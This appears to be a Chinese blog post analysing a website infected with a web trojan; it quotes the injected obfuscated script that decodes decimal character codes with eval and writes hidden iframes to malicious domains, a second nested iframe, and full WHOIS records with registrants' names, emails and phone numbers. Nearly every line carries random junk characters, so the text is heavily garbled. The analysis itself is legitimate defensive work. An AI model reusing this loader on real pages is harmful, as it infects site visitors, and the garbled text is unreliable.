首发在我的博客里面，
0SA
c1 k}Ahvlq) http://www.areway.cn/?p=175 H4Pj 3' El]Rrku g]z,*d 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
0|P RCq o= N= W <script>t=’60,105,102,114,97,109,101,
@dD70T 32,115,114,99,61,104,116,116,112,58,47,47,
v lOMB 102,114,101,101,46,117,45,117,117,117,46,99,
o#H"tYP 110,47,101,114,114,111,114,46,104,116,109,
A2$:p$ [ 32,119,105,100,116,104,61,49,48,48,32,104,
>\3=h8zw 101,105,103,104,116,61,48,62,60,47,105,102,
WX]kez{<uP 114,97,109,101,62′;
3[aCy4O t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
$w#C;2k]N `R=8=6Z+$q <script>t=’60,105,102,114,97,109,101,32,115,
mgh,)=2cE( 114,99,61,104,116,116,112,58,47,47,102,114,
W}.;]x%1B 101,101,46,117,45,117,117,117,46,99,110,47,
O0';j!?X 101,114,114,111,114,46,104,116,109,32,119,
7*~
rhQ 105,100,116,104,61,49,48,48,32,104,101,105,
97NF*-)N 103,104,116,61,48,62,60,47,105,102,114,97,
M*}C.E! 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
lMF j"x\ document.write(t);</script>
$kvF]|<bu {pE")O7~P <html xmlns=”
C3hnX2"; http://www.w3.org/1999/xhtml !+=jD3HTJ “>
uXNJ{]o <head>
K zKHC <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
(]vHW+' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
d]$z&E <title>首页 - 爱生活家庭网
`lqMi fD f[!N]* 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\y"!`.E7\d 转换字符串后的大概内容是（谁点击后果自付）：
Cd"O'<^Sb <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
=>n:\_*M 3[pA:Z+xx 查询玉米u-uuu.cn的详细信息：
MjQKcL4%7 Domain Name: u-uuu.cn
N9Y,%lQ|B8 ROID: 20070901s10001s64972306-cn
8s6[?=nM Domain Status: ok
#4Xe zj,g* Registrant Organization: 王雷
O>lF{yO0` Registrant Name: 王雷
!2>gC"$nv Administrative Email:
czlovexs@126.com _t 'Kj \ Sponsoring Registrar: 北京万网志成科技有限公司
`.>2h}op Name Server:ns.yovole.com
9 k)?- Name Server:ns1.yovole.com
]ta]OK{s" Registration Date: 2007-09-01 17:54
u
B~/W Expiration Date: 2008-09-01 17:54
,a~-
(@ 最后PING了一下地址 都没有什么….
:L&- ;.'2ZNt2 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
2_
< <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
GGo
nA <script language=”javascript” src=”
+8 ]}'6m http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script My&h{Qk >
Z; r}G m 这个玉米应该有可能是木马作者的：
?9i
7 w1` foafau.info的详细信息：
4Fgy<^94` Access to INFO WHOIS information is provided to assist persons in
QA+qFP determining the contents of a domain name registration record in the
?tQU ZO Afilias registry database. The data in this record is provided by
ac p-4g+j Afilias Limited for informational purposes only, and Afilias does not
ICTl{|i ] guarantee its accuracy. This service is intended only for query-based
#(?EL@5 access. You agree that you will use this data only for lawful purposes
"|gNNmr and that, under no circumstances will you use this data to: (a) allow,
@=E@
*@g enable, or otherwise support the transmission by e-mail, telephone, or
EXK~Zf|&Z facsimile of mass unsolicited, commercial advertising or solicitations
K)`, |q* \ to entities other than the data recipient’s own existing customers; or
bu1O <* (b) enable high volume, automated, electronic processes that send
t.v@\[{ - queries or data to the systems of Registry Operator, a Registrar, or
&$ia#j{l Afilias except as reasonably necessary to register domain names or
= iB0ak modify existing registrations. All rights reserved. Afilias reserves
o;7!$v>uK the right to modify these terms at any time. By submitting this query,
q %]0%S? you agree to abide by this policy.
5lu620o Domain ID:D22418703-LRMS
fpwg e/w Domain Name:FOAFAU.INFO
hug8Hhf_& Created On:20-Nov-2007 16:05:42 UTC
_Y40a+hk] Last Updated On:20-Nov-2007 16:05:44 UTC
AA:Ch? Expiration Date:20-Nov-2008 16:05:42 UTC
vq
B)PL5) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
T+8F'9i` Status:CLIENT DELETE PROHIBITED
9?:SxI;v Status:CLIENT RENEW PROHIBITED
w4<RV:Vmt Status:CLIENT TRANSFER PROHIBITED
x\)0+c~\}x Status:CLIENT UPDATE PROHIBITED
Q|rrbx b Status:TRANSFER PROHIBITED
Z,.*!S=?h Registrant ID:GODA-040110615
.Vj;[p8 Registrant Name:liu hong
f`*Ip? V- Registrant Organization:
?_3K]i1IS Registrant Street1:beijing
hR
Y *WL Registrant Street2:
Mo IVval/ Registrant Street3:
~Y<x-)R Registrant City:beijing
Q+*o- Registrant State/Province:
w ^sM,c5d Registrant Postal Code:100000
.h-:) e* Registrant Country:CN
2VyLt=mdh Registrant Phone:+86.860108888777
s(q\!\FS Registrant Phone Ext.:
Cp7 EJr~ Registrant FAX:
#(FG+Bk Registrant FAX Ext.:
8QV +DDZx Registrant Email:bbbshiji@163.com
IKb 7#Ut Admin ID:GODA-240110615
@]" :3 Admin Name:liu hong
!n~p?joJ* Admin Organization:
*IJctYJaX Admin Street1:beijing
):E4qlB Admin Street2:
i|0H {q Admin Street3:
r4D*$H-rR Admin City:beijing
,~`R{,N` Admin State/Province:
O: "gJ4D Admin Postal Code:100000
Gdq _T* Admin Country:CN
BaIH7JLZ8 Admin Phone:+86.860108888777
#uVH~P5TM Admin Phone Ext.:
@5K/ z<p% Admin FAX:
K]yCt~A$ Admin FAX Ext.:
/!rH DcR Admin Email:bbbshiji@163.com
}bz v&k Billing ID:GODA-340110615
I:Wrwd
Billing Name:liu hong
P(8zJk6h), Billing Organization:
b/5 Billing Street1:beijing
w+(bkqz] Billing Street2:
% zHs h Billing Street3:
' \Z54$ Billing City:beijing
(?Fz{ Billing State/Province:
,.6Hh'^65^ Billing Postal Code:100000
);$_|]# Billing Country:CN
k)o D Billing Phone:+86.860108888777
Z6 \OkD Billing Phone Ext.:
4<CHwIRHY Billing FAX:
{.v- Billing FAX Ext.:
73OFFKbsk Billing Email:bbbshiji@163.com
@ 6w\q?.s Tech ID:GODA-140110615
jXB<"bw Tech Name:liu hong
xH! {;i Tech Organization:
a^t #kdT Tech Street1:beijing
k;/U6,LQ* Tech Street2:
xH #R _ Tech Street3:
hdJW#,xq Tech City:beijing
T|`nw_0 Tech State/Province:
Ytop=ZIl' Tech Postal Code:100000
QL%&b\K Tech Country:CN
eSHyA+ F Tech Phone:+86.860108888777
p "EQ 6_f Tech Phone Ext.:
gf7%vyMo$ Tech FAX:
m~mw1r Tech FAX Ext.:
BR*,E~% Tech Email:bbbshiji@163.com
#u`i4 Name Server:NS27.DOMAINCONTROL.COM
{{w5F2b((% Name Server:NS28.DOMAINCONTROL.COM
GY% lPp Name Server:
gZ F-zhnC Name Server:
Rq u_ [M Name Server:
YYwFjA@ Name Server:
T+7-6y+ d Name Server:
`Nmw Name Server:
:^]rjy/|+ Name Server:
E-\Wo3 Name Server:
musZCg$ Name Server:
1Ys6CJ# Name Server:
bim}{wMb Name Server:
#e:cB' f Ey7S Qb 接着下载每个文件里面的代码：
#lXwBfBMf 一步一步看..
C)66 ^l!x 
ZT;$aNy 
sw
A^oU 
#m [R1G# 
}xXUCU< 
^ur?da9z' 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
